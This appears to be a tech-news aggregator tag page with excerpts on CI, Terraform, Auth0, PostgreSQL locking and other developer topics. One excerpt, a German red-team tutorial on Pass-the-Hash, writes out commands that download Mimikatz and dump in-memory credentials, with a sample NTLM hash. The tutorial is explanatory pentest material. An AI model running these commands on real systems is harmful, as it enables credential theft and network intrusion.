今日已更新 327 条资讯 | 累计 23910 条内容
关于我们

标签:#acti

找到 68 篇相关文章

AI 资讯

How a Single beforeEach Killed Our CI for 36 Hours

Six failed CI runs. Thirty-six hours of GitHub Actions time. Every run timing out at exactly the 6-hour limit. The culprit was one line in tests/setup.js . The Setup We were building a multi-tenant platform with a PostgreSQL backend — around 76 database models handling everything from user accounts and billing to visitor logs and real-time notifications. The test suite had grown to roughly 1,140 test cases across 36 files. Standard stuff. CI ran on every PR. Tests passed locally. And then one day, CI just... never finished. The Anti-Pattern Here's what the test setup looked like: // tests/setup.js beforeEach ( async () => { const tableNames = await getTableNames (); // 76 tables await sequelize . query ( `TRUNCATE TABLE ${ tableNames . join ( ' , ' )} CASCADE;` ); }); The intent was clean isolation — every test starts with a blank slate. Reasonable in theory. Catastrophic in practice. The Math Do the multiplication: 76 tables × 1,140 tests = 86,640 TRUNCATE operations Each TRUNCATE TABLE ... CASCADE is not a cheap operation. PostgreSQL has to: Acquire exclusive locks on all referenced tables Walk the foreign key graph to find dependent tables Truncate each in dependency order Release locks With a moderately complex schema where most tables reference others (users → societies → members → invoices → payments → ...), a single TRUNCATE ... CASCADE on a central table can fan out into dozens of implicit truncations. Multiply that by 86,640 and you have a test suite that will never complete within any reasonable timeout. Why It Wasn't Caught Sooner Two reasons: 1. It used to be fast. When the suite had 50 tests and 20 tables, this pattern worked fine. 50 × 20 = 1,000 truncations — uncomfortable but survivable. Nobody noticed when the suite crossed a tipping point. 2. Local runs used a different database state. Locally, developers often ran a subset of tests with --grep or file-specific runs. The full suite was only ever run on CI, and CI was slow enough that most assumed i

2026-07-24 原文 →
AI 资讯

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen

2026-07-24 原文 →
开发者

Stop Running `terraform apply` From Your Laptop: Building Your First Terraform CI/CD Pipeline with GitHub Actions

One of the biggest mistakes beginners make when learning Terraform is treating their local machine as the deployment server. A typical workflow looks like this: terraform init terraform plan terraform apply While this approach is perfectly fine for learning, it quickly becomes problematic when working on real-world projects with multiple engineers. Consider these questions: Who deployed the infrastructure? Was the infrastructure reviewed before deployment? Can someone else reproduce the deployment? What happens if the engineer's laptop is lost or misconfigured? How do we know exactly what changed? These are some of the reasons Infrastructure as Code (IaC) is almost always integrated with Continuous Integration and Continuous Deployment (CI/CD) pipelines in professional environments. In this article, we'll build a simple Terraform CI/CD pipeline using GitHub Actions. Instead of focusing only on the YAML syntax, we'll first understand why each stage exists and how they work together to produce safe, repeatable infrastructure deployments. What is Terraform CI/CD? Terraform CI/CD is the process of automating the validation, planning, and deployment of infrastructure whenever changes are made to Terraform code. Instead of running Terraform commands manually from a developer's laptop, a CI/CD platform executes those commands automatically in a controlled environment. The workflow typically looks like this: Developer │ ▼ Git Push │ ▼ GitHub Repository │ ▼ GitHub Actions │ ▼ Terraform Init │ ▼ Terraform Validate │ ▼ Terraform Plan │ ▼ Manual Approval │ ▼ Terraform Apply │ ▼ AWS Infrastructure This approach provides consistency, visibility, and security while reducing the chances of human error. Why Not Run Terraform Manually? Running Terraform from your laptop works well for personal projects, but it introduces several risks in a team environment. Manual Deployment CI/CD Deployment Requires someone to remember every command Runs automatically Easy to skip validation Validat

2026-07-23 原文 →
AI 资讯

I Built urldn-link-check — A GitHub Action to Catch Broken Links Before They Reach Production

Documentation is often the last thing developers think about—until a broken link frustrates users or a README sends someone to a 404 page. I wanted a simple way to automatically verify links in Markdown documentation during CI, so I built urldn-link-check. It's an open-source GitHub Action and CLI that scans your documentation and reports issues before they're merged. Features ✅ Detect broken links (404/500) ↪️ Detect redirect chains 🔒 Detect insecure HTTP links 📏 Find overly long URLs 📄 Scan Markdown & MDX files ⚡ Fast concurrent scanning 💬 GitHub PR summaries 📊 JSON & Markdown reports Installation npm install -D urldn-link-check or npx urldn-link-check . GitHub Action uses: urldn/link-check@v1 That's it. Every push or pull request can automatically verify your documentation. Why I Built It While maintaining documentation, I noticed that broken links often go unnoticed until someone reports them. Instead of checking them manually, I wanted a lightweight tool that integrates directly into GitHub Actions and fits naturally into a CI workflow. Open Source The project is MIT licensed and contributions are welcome. ⭐ GitHub: https://github.com/urldn/link-check 📦 npm: https://www.npmjs.com/package/urldn-link-check https://www.npmjs.com/package/urldn-link-check This is the first developer tool in the URLDN ecosystem, with more open-source projects planned in the future. If you have ideas or feedback, I'd love to hear them.

2026-07-23 原文 →
AI 资讯

Commit Cron: A Simple Daily Commit Bot with GitHub Actions

I built Commit Cron , a small GitHub Actions experiment that creates one automated commit every day. The project updates a text file with the latest execution time, commits the change using the github-actions[bot] account, and pushes it back to the repository. View the project on GitHub: Commit Cron How It Works The workflow runs every day at 10:00 AM Asia/Manila time. on : schedule : - cron : " 0 10 * * *" timezone : " Asia/Manila" workflow_dispatch : The workflow_dispatch trigger also lets me run the workflow manually from the GitHub Actions tab. The workflow checks out the repository, creates the bot directory when needed, and updates bot/last-run.txt : mkdir -p bot printf "Last automatic update: %s \n " \ " $( TZ = Asia/Manila date '+%Y-%m-%d %H:%M:%S %:z (Asia/Manila)' ) " \ > bot/last-run.txt The file contains a timestamp similar to: Last automatic update: 2026-07-17 10:03:24 +08:00 (Asia/Manila) After updating the file, the workflow configures the GitHub Actions bot identity and creates the commit: git config user.name "github-actions[bot]" git config user.email \ "41898282+github-actions[bot]@users.noreply.github.com" git add bot/last-run.txt git commit -m "chore: daily automated update" Before pushing, it pulls the latest branch changes with rebase: git pull --rebase origin " ${ GITHUB_REF_NAME } " git push origin "HEAD: ${ GITHUB_REF_NAME } " This helps prevent the push from failing when another commit is added while the workflow is running. Repository Structure . ├── .github/ │ └── workflows/ │ └── daily-commit.yml ├── bot/ │ └── last-run.txt ├── LICENSE └── README.md Why I Built It Commit Cron is a small demonstration of: Scheduled GitHub Actions workflows Manual workflow triggers Automated file updates Bot-generated Git commits Repository write permissions using GITHUB_TOKEN The workflow uses: permissions : contents : write This allows the built-in GitHub token to push the generated commit. Important Note The automated commits only confirm that the work

2026-07-17 原文 →
开发者

Remove the Copilot CLI PAT From GitHub Actions Without Losing Your Rollback

GitHub announced on July 2, 2026 that Copilot CLI no longer needs a personal access token when it runs in GitHub Actions. Primary source: GitHub Changelog, July 2, 2026 . Deleting a secret is easy. Proving the workflow still works—and recovering without hurriedly pasting credentials back into YAML—is the useful part. This is an unexecuted migration template, not a report from a production repository. Make one reversible change First find every place the old secret enters the job, including reusable workflows: git grep -nE 'COPILOT_PAT|COPILOT_GITHUB_TOKEN|GH_TOKEN|github_pat' Record the workflow, job, pinned CLI version, permissions block, and previous known-good commit. Never print environment variables while debugging. Then remove only the PAT injection. Do not upgrade the runner and CLI in the same patch. jobs: copilot-check: permissions: contents: read - env: - COPILOT_GITHUB_TOKEN: ${{ secrets.COPILOT_PAT }} steps: - uses: actions/checkout@<PINNED_COMMIT> - run: ./scripts/setup-copilot-cli.sh - run: ./scripts/run-bounded-check.sh The scripts are placeholders for repository-owned commands. “No PAT required” does not mean “no identity or permissions exist”; follow the current setup documentation and keep permissions explicit. Add a canary with two proofs The canary should show that the legacy token is absent and that the existing bounded task still satisfies its output contract. name : copilot-cli-auth-canary on : workflow_dispatch permissions : contents : read jobs : canary : runs-on : ubuntu-latest timeout-minutes : 10 steps : - uses : actions/checkout@<PINNED_COMMIT> - name : Verify legacy PAT is absent run : | test -z "${COPILOT_PAT:-}" test -z "${COPILOT_GITHUB_TOKEN:-}" - run : ./scripts/setup-copilot-cli.sh - run : copilot --version - run : ./scripts/run-bounded-check.sh Use a read-only, cheap task. “Fix whatever you find” is not a canary; it is a small deployment wearing a fake mustache. Define pass criteria before clicking Run: absent legacy variables, e

2026-07-16 原文 →
AI 资讯

# 🚀 C++ Abstraction Cheat Sheet: 10-Minute Interview Revision Guide

If you have an interview in the next few hours and need to quickly revise Abstraction in C++ , this guide is for you. No long theory. No unnecessary examples. Only the concepts interviewers expect you to know. 📌 What is Abstraction? Definition Abstraction is the process of exposing only the essential behavior of an object while hiding unnecessary implementation details. Remember WHAT ↓ Hide HOW The user knows what an object can do, but not how it performs the work. ❓ Why Do We Need Abstraction? Without abstraction: Every developer needs to understand internal implementation. Client code becomes tightly coupled. Maintenance becomes difficult. With abstraction: Developers interact with a simple interface. Internal implementation can change without affecting users. Systems become easier to extend and maintain. Benefits ✅ Reduces complexity ✅ Promotes loose coupling ✅ Improves maintainability ✅ Supports extensibility ✅ Enables cleaner architecture ⚙️ How Does C++ Achieve Abstraction? C++ primarily achieves abstraction using: Abstract Class + Pure Virtual Functions + Runtime Polymorphism 🏗️ What is an Abstract Class? An abstract class is a class that contains at least one pure virtual function . It represents a: ✅ Contract ✅ Blueprint ✅ Common capability Because it is incomplete , it cannot be instantiated . 🎯 What is a Pure Virtual Function? Syntax virtual ReturnType functionName () = 0 ; Meaning It tells the compiler: Every concrete derived class must implement this function. = 0 does NOT mean "return zero." It simply marks the function as pure virtual . 🧠 Mental Model Think of it like this: Job Description ↓ Employee The job description defines responsibilities. Each employee fulfills those responsibilities differently. Or: Blueprint ↓ House You don't live inside a blueprint. You build a house from it. Similarly, you don't create objects of an abstract class—you create objects of concrete derived classes. 🏭 Practical Software Example Imagine an e-commerce application

2026-07-15 原文 →
AI 资讯

Microsoft Patches a Record 570 Security Flaws

Microsoft Corp. today released software updates to plug at least 570 security holes in its Windows operating systems and other software, almost triple the number of vulnerabilities the software giant fixed in its record-smashing Patch Tuesday release last month. Microsoft attributed the burgeoning patch counts to vulnerability discoveries aided by artificial intelligence.

2026-07-15 原文 →
AI 资讯

Migrating from Auth0 Rules to Actions: a Practical Guide for Real-World Teams

Auth0’s direction is clear: new extensibility work should be built with Actions, not Rules. Auth0’s docs recommend migrating existing logic step by step, converting pieces of Rule code into Action code, testing in staging, and then rolling out one piece at a time. The platform also highlights that Actions give you modern JavaScript, inline documentation, richer type information, and access to public npm packages. I recently looked at the migration path with one question in mind: how do you move from “old but working” to “clean, testable, future-proof” without breaking login flows? This post is the practical version of that answer. Why Auth0 moved from Rules to Actions Rules were Auth0’s earlier customization layer for authentication flows. Actions are the next-generation extensibility platform, built to replace that model with a more structured developer experience. Auth0 positions Actions as a unified environment with version control, debugging, caching, Node 18 support, and access to millions of npm packages. The biggest shift is not just syntactic. Actions use a modern, promise-based programming model and are organized around triggers such as Post Login. That means you are no longer writing the same kind of callback-style Rule you may have used before; you are moving into a more explicit and modular workflow. The mental model change A Rule usually looks like this: it receives user , context , and callback it runs in a broader authentication pipeline it often mixes business logic with token customization, user metadata updates, and side effects An Action, by contrast, is built around a trigger such as onExecutePostLogin , and it receives an event object plus an api object. Auth0’s migration guide explicitly recommends converting Rule code into Action code in stages rather than copying everything at once. That one change matters because it forces you to separate concerns: what is read from the event what is changed through the API what should happen in this trigger

2026-07-12 原文 →
AI 资讯

Git: The Fellowship of the Commit – Best Practices for Solo Devs and Teams

The Quest Begins (The "Why") I still remember the first time I tried to track down a bug that only showed up after midnight. I opened my terminal, typed git log , and was greeted by a wall of commits that read like a toddler’s grocery list: * 7a9c3f1 (HEAD -> main ) fix stuff * 4b2e8a1 update * f1d9c6b wip * 9e3b7d2 more changes * … I spent three hours chasing a regression that turned out to be a one‑line typo in a file I hadn’t touched in weeks. The commit messages gave me zero clues, and the diff was a tangled mess of unrelated changes. I felt like I was wandering through a dungeon without a map, hoping the next room would hold the answer. That night I realized the real monster wasn’t the bug—it was the way I was committing code. My commits were large, vague, and scattered , making every subsequent step (review, revert, bisect) a gamble. If I wanted to keep my sanity (and maybe even enjoy coding again), I needed a better system. The Revelation (The Insight) The turning point came when I read about Conventional Commits —a lightweight convention that gives each commit a clear type ( feat , fix , docs , refactor , test , chore , etc.) and a short, descriptive message. It sounded simple, but the impact was massive: Atomicity – each commit does one thing. Clarity – the message tells you why the change exists, not just what changed. Automation – tools can generate changelogs, version bumps, and even release notes straight from the log. Adopting this felt like discovering a hidden shortcut in a Zelda dungeon—suddenly the whole map made sense, and I could sprint to the boss room with confidence. Wielding the Power (Code & Examples) Before – The Chaos Imagine we’re building a tiny API for user profiles. Here’s what a typical day of committing looked like (messages only, but the diffs were just as messy): $ git log --oneline -5 7a9c3f1 ( HEAD -> main ) fix stuff 4b2e8a1 update profile handler f1d9c6b wip 9e3b7d2 added auth middleware c5d4e3f refactor utils If I needed to ro

2026-07-12 原文 →
AI 资讯

littlebag Creator Seeks User Feedback to Validate 343-Byte UI Framework's Utility Despite Performance Limitations

Introduction: Unveiling littlebag Meet littlebag , a reactive UI framework that defies conventional expectations by packing essential features into a mere 343 bytes (minified and brotlified). This isn’t just a technical curiosity—it’s a proof of concept that challenges the notion that UI frameworks must be bloated to be functional. littlebag includes: Reactive state management via state and effect , enabling dynamic updates without manual DOM manipulation. An html element factory that inherently supports reactivity, reducing boilerplate code. Conditional rendering with keyed , allowing efficient updates to specific UI segments. Reactive lists using each , simplifying the handling of dynamic data collections. TypeScript declarations , ensuring type safety and developer productivity. The framework’s size is achieved through aggressive tree-shaking and code minimization , stripping away all non-essential logic. However, this comes at a cost: performance limitations due to the absence of optimizations like virtual DOM diffing or batch updates . Each reactive update triggers direct DOM manipulation, which can lead to layout thrashing —a mechanical process where frequent reflows and repaints cause frame rate drops, making the UI feel sluggish. Inspired by VanJS (1 kB) and its dependency on an additional 1.2 kB library (Van X), littlebag aims to eliminate such overhead. Yet, its current state is experimental. Without user feedback, it risks remaining a niche project, failing to address its performance bottlenecks or evolve into a viable alternative to larger frameworks. The creator’s plan to add Server-Side Rendering (SSR) hinges on community interest, but SSR itself introduces complexity—requiring a custom DOM implementation to avoid client-side hydration costs. If users engage, littlebag could become a lightweight SSR solution; if not, it may stagnate as a curiosity. The stakes are clear: littlebag’s utility depends on whether it can balance its minimalism with practical

2026-07-09 原文 →
AI 资讯

Row Lock — FOR UPDATE

FOR UPDATE: pessimistic row lock để chặn lost update, và cái giá deadlock khi không lock theo thứ tự SELECT ... FOR UPDATE là cách rõ ràng nhất để nói với Postgres "tao sẽ sửa row này, đừng cho ai khác đụng vào cho tới khi tao commit". Nó là một row-level lock thật sự — khác SELECT thường (chỉ chụp snapshot MVCC, không ngăn ai update song song). Lý do dev gặp nó trong việc thật là class bug lost update : hai transaction cùng đọc một row, cùng tính giá trị mới dựa trên giá trị đọc được, rồi cùng UPDATE — bản ghi cuối đè bản trước, một nửa thay đổi biến mất không log lỗi gì. FOR UPDATE ép hai bên xếp hàng tại bước đọc, một bên đợi bên kia commit rồi tự đọc lại bản mới. Đổi lại, nếu nhiều code path khoá nhiều row theo thứ tự khác nhau, Postgres sẽ bắn ERROR: deadlock detected và một bên transaction bay theo. Cơ chế hoạt động Khi một transaction chạy SELECT ... FOR UPDATE , Postgres không ghi row lock vào lock table chính (như cách nó làm với relation-level lock). Thay vào đó, nó ghi xid của transaction hiện tại vào xmax của chính tuple đó trên heap, kèm cờ infomask đánh dấu "đây là lock chứ chưa phải delete". Hệ quả: ôm row lock cho hàng triệu row gần như không tốn shared memory. Khi một transaction khác chạm cùng row (qua UPDATE , DELETE , hay một SELECT ... FOR UPDATE nữa), nó đọc xmax , thấy transaction kia còn sống, và đăng ký một heavyweight lock kiểu transactionid trong pg_locks để đợi xid đó kết thúc. Đó là cơ chế "đợi xid" lộ ra qua wait_event = 'transactionid' ở pg_stat_activity . Khi bên giữ COMMIT hoặc ROLLBACK , bên đợi được đánh thức, đọc lại tuple (visibility check theo isolation level), rồi mới chạy tiếp. -- Session A BEGIN ; SELECT id , balance FROM accounts WHERE id = 42 FOR UPDATE ; -- giữ row lock trên id=42, chưa commit -- Session B (terminal khác) BEGIN ; UPDATE accounts SET balance = balance - 100 WHERE id = 42 ; -- treo, đợi xid của Session A FOR UPDATE có bốn biến thể, mạnh dần ngược lại: FOR KEY SHARE (yếu nhất, chỉ chặn thay đổi key — đây là l

2026-07-07 原文 →
AI 资讯

Transaction State — Idle in Transaction

Idle in transaction: connection ngồi không nhưng vẫn giữ snapshot, VACUUM đứng hình và bảng phình idle in transaction là trạng thái mà pg_stat_activity.state đặt cho một connection đã BEGIN , đã chạy xong statement gần nhất, và đang ngồi đợi statement kế tiếp hoặc COMMIT / ROLLBACK . Trên giấy nó "rảnh"; trong thực tế nó vẫn cầm một snapshot, vẫn giữ backend_xmin , vẫn ôm mọi lock đã claim từ đầu transaction. Một connection trong state này chỉ vài chục giây không nguy hiểm; cùng connection đó ngồi vài giờ trên cluster có write traffic là kịch bản kinh điển khiến bảng update-nóng bloat, autovacuum đứng yên, replica conflict, và DBA on-call bị page lúc 3 giờ sáng. Đây không phải bug Postgres mà là application code path đã lỡ rời transaction mở rồi đi làm việc khác (đợi user input, gọi HTTP ra ngoài, ngủ trong queue worker) — Postgres chỉ trung thực phản chiếu lại. Cơ chế hoạt động Khi một connection gửi BEGIN , Postgres ghi nhận transaction nhưng chưa cấp xid (chỉ cấp khi câu lệnh ghi đầu tiên xuất hiện) và lập tức gán cho backend này một snapshot : tập hợp các xid mà transaction sẽ coi là visible. Snapshot này được phản chiếu ra cột backend_xmin trong pg_stat_activity . Ngay sau BEGIN , state của connection là idle in transaction . Mỗi câu lệnh sau đó đẩy connection sang active trong lúc chạy, rồi trả về idle in transaction ngay khi statement hoàn tất — và nó ở đó vô thời hạn , cho tới khi client gửi câu lệnh kế tiếp, gửi COMMIT / ROLLBACK , hoặc connection bị terminate. -- Session A BEGIN ; -- pg_stat_activity.state = 'idle in transaction' -- pg_stat_activity.backend_xmin = <xid horizon ngay tại thời điểm BEGIN> SELECT count ( * ) FROM orders ; -- trong lúc chạy: state = 'active' -- xong: state = 'idle in transaction', snapshot KHÔNG bị nhả -- (client đi gọi HTTP ngoài, hoặc đơn giản là quên gửi COMMIT) -- nhiều giờ trôi qua. state vẫn 'idle in transaction'. -- backend_xmin vẫn pin xmin horizon của cluster. Điểm cốt tử là backend_xmin : VACUUM (và autovacuum ) chỉ đ

2026-07-07 原文 →
AI 资讯

BEGIN/COMMIT — Transaction Lifecycle

Transaction lifecycle trong Postgres: BEGIN mở state machine, COMMIT đóng — quên đóng là dò mìn Một transaction trong Postgres không phải chỉ là cặp BEGIN ... COMMIT cú pháp; nó là một state machine sống cùng connection. BEGIN đẩy connection từ idle sang active , mỗi statement kết thúc đẩy nó về idle in transaction đợi statement kế tiếp, một statement lỗi đẩy sang idle in transaction (aborted) , và chỉ COMMIT / ROLLBACK mới trả connection về idle . Dev gặp lifecycle này trong việc thật không phải vì cú pháp khó mà vì một BEGIN quên COMMIT trong một code path lỗi: connection nằm trong pool ở idle in transaction vô thời hạn, giữ snapshot và lock, chặn autovacuum , kéo lock chain, làm bảng update-nóng bloat dần rồi cả service chậm chết. Cơ chế hoạt động Mặc định mỗi connection ở autocommit mode : mỗi statement là một transaction tự đóng. BEGIN (hoặc START TRANSACTION ) tắt autocommit cho tới khi gặp COMMIT / ROLLBACK . Trong khoảng đó connection có một xid (cấp khi cần ghi) và một snapshot, và lifecycle của nó đi qua các trạng thái mà Postgres phơi ra trong pg_stat_activity.state : idle — connection mở, không có transaction nào đang chạy. active — đang thực thi một statement (kể cả ngoài transaction block). idle in transaction — đang trong transaction block, vừa chạy xong một statement, đợi statement kế tiếp hoặc COMMIT / ROLLBACK . idle in transaction (aborted) — đang trong transaction, một statement đã ném lỗi, mọi statement tiếp theo trả ERROR: current transaction is aborted, commands ignored until end of transaction block cho tới khi ROLLBACK . fastpath function call / disabled — ít gặp, không phải mục tiêu của bài này. -- t0: state = 'idle' BEGIN ; -- t1: state = 'idle in transaction' (vừa thực thi xong BEGIN, đợi statement kế) INSERT INTO orders ( user_id , total ) VALUES ( 42 , 100 ); -- trong lúc chạy: state = 'active' -- sau khi statement xong: state = 'idle in transaction' lại INSERT INTO orders ( user_id , total ) VALUES ( NULL , 100 ); -- ERROR: null value

2026-07-07 原文 →
AI 资讯

Isolation Level — Read Committed

Read Committed: snapshot mỗi statement, và vì sao hai SELECT trong cùng transaction có thể trả khác nhau READ COMMITTED là isolation level mặc định của PostgreSQL, và là level mà phần lớn workload OLTP đang chạy mà không biết. Khác với mô hình "transaction lấy một snapshot rồi giữ nguyên" mà nhiều dev tưởng tượng từ MVCC, ở Read Committed mỗi statement lấy một snapshot mới tại thời điểm statement bắt đầu , không phải tại thời điểm BEGIN . Hậu quả thực tế: hai SELECT liên tiếp trong cùng một transaction có thể trả về dữ liệu khác nhau nếu giữa hai lần đó có transaction khác commit. Đây là non-repeatable read — đúng spec của Read Committed, không phải bug — và là nguồn của một class lỗi rất hay gặp: code đọc một giá trị, ra quyết định, rồi cập nhật dựa trên giá trị đã đọc, trong khi giá trị thực tế đã thay đổi. Cơ chế hoạt động Một transaction ở Read Committed không có transaction-level snapshot . Khi mỗi statement (mỗi SELECT , UPDATE , DELETE , INSERT ... SELECT ...) bắt đầu thực thi, backend lấy một snapshot mới gồm xmin , xmax và xip list — chính cái snapshot quyết định row version nào "visible" theo MVCC. Statement chỉ thấy: row có xmin đã commit trước thời điểm statement bắt đầu , và xmax chưa tồn tại hoặc thuộc một transaction chưa commit / đã abort. Ngay sau khi statement kết thúc, snapshot đó bị bỏ. Statement kế tiếp lấy snapshot mới — nếu trong khoảng giữa có transaction khác commit, statement này sẽ thấy dữ liệu mới đó. -- T1 BEGIN ; -- KHÔNG lấy snapshot ở đây SELECT balance FROM accounts WHERE id = 1 ; -- snapshot S1 -> trả 1000 -- ... T2 chạy: UPDATE accounts SET balance=500 WHERE id=1; COMMIT; SELECT balance FROM accounts WHERE id = 1 ; -- snapshot S2 -> trả 500 COMMIT ; Với UPDATE / DELETE / SELECT ... FOR UPDATE / FOR NO KEY UPDATE / FOR SHARE , Read Committed làm thêm một bước đặc biệt mà SELECT thường không làm: nếu target row bị một transaction khác đang lock (chưa commit), statement đợi transaction đó kết thúc. Khi unblock: nếu transaction kia ROL

2026-07-07 原文 →
AI 资讯

MCP Explained: How It's Different from Traditional APIs

Imagine you are planning a surprise birthday party. You need invitations, food, decorations, and a cake. You call different places to get these things. You tell each one exactly what you need. "I need 20 red balloons." "I need a chocolate cake for 10 people." This is how many computer programs talk to each other. They use something called an API (Application Programming Interface). An API is like a menu. You pick what you want. You get exactly that. It works well for simple tasks. But what if your party plans change? What if you decide on a theme mid-conversation? Traditional APIs can feel a bit rigid then. They don't always remember your past requests. They don't understand the bigger picture. Now, imagine talking to a super-smart party planner. You start by saying, "I'm planning a party." The planner asks, "For how many people?" You say, "About 20." Then you mention, "It's for a birthday." The planner instantly suggests a cake size. It recommends decorations based on your earlier answers. This smart planner remembers everything you said. It understands your overall goal. It uses something like MCP (Model Context Protocol). MCP is a new way for computers to talk. It's like having a real conversation. It's much smarter than a simple menu order. You will soon understand why this difference is a game-changer. Traditional APIs: The Fixed Menu Approach Let's start with what you might already know. Many apps you use every day rely on APIs. An API is like a waiter in a restaurant. You look at the menu. You tell the waiter your exact order. "I want a cheeseburger with fries." The waiter takes your order to the kitchen. The kitchen prepares only that specific meal. Then the waiter brings it back to you. This is how most apps work together. One app sends a very specific request. It asks for a certain piece of information or to perform a specific action. The other app performs that task. It sends back a very specific response. Think of ordering from an online store. You click

2026-07-07 原文 →
AI 资讯

Diffraction Grating: How Thousands of Slits Turn Light into a Spectrum

Tilt a CD or DVD under a desk lamp and a band of color sweeps across its surface. The disc is not painted; it is a spiral of microscopic pits, packed so tightly that they act on light the way a finely ruled scientific instrument does. Each wavelength of white light leaves the surface at its own angle, and your eye sees the result fanned out as a rainbow. That is a diffraction grating at work. The same principle that decorates a CD is the engine inside spectrometers that identify chemical elements, tune lasers, and read the composition of distant stars. This article explains how a grating spreads light, how to compute the angles, and where the analysis goes wrong. Why this calculation matters A prism also splits white light, but a grating does it with far more control and far more precision. Because the spreading depends on a countable number — the spacing between lines — a grating can be designed to send a chosen wavelength to a chosen angle. That predictability is what makes it the heart of the spectrometer. Spectroscopy underpins a remarkable range of work. Astronomers read a star's chemistry and velocity from the dark lines in its spectrum. Chemists identify unknown compounds by the wavelengths they absorb. Telecommunications engineers use gratings to combine and separate the many wavelengths sharing a single optical fiber. In every case the first task is the same: given the grating and the light, predict the angle at which each wavelength emerges. Get that wrong and a spectral line lands on the wrong detector pixel, and the measurement is meaningless. The core formula A diffraction grating is a surface ruled with a large number of equally spaced, parallel lines. When light passes through or reflects off it, each line acts as a source of secondary waves. Those waves interfere, and they reinforce each other only in specific directions — the directions where waves from neighboring lines arrive exactly in step. The condition for that reinforcement is the grating equ

2026-07-07 原文 →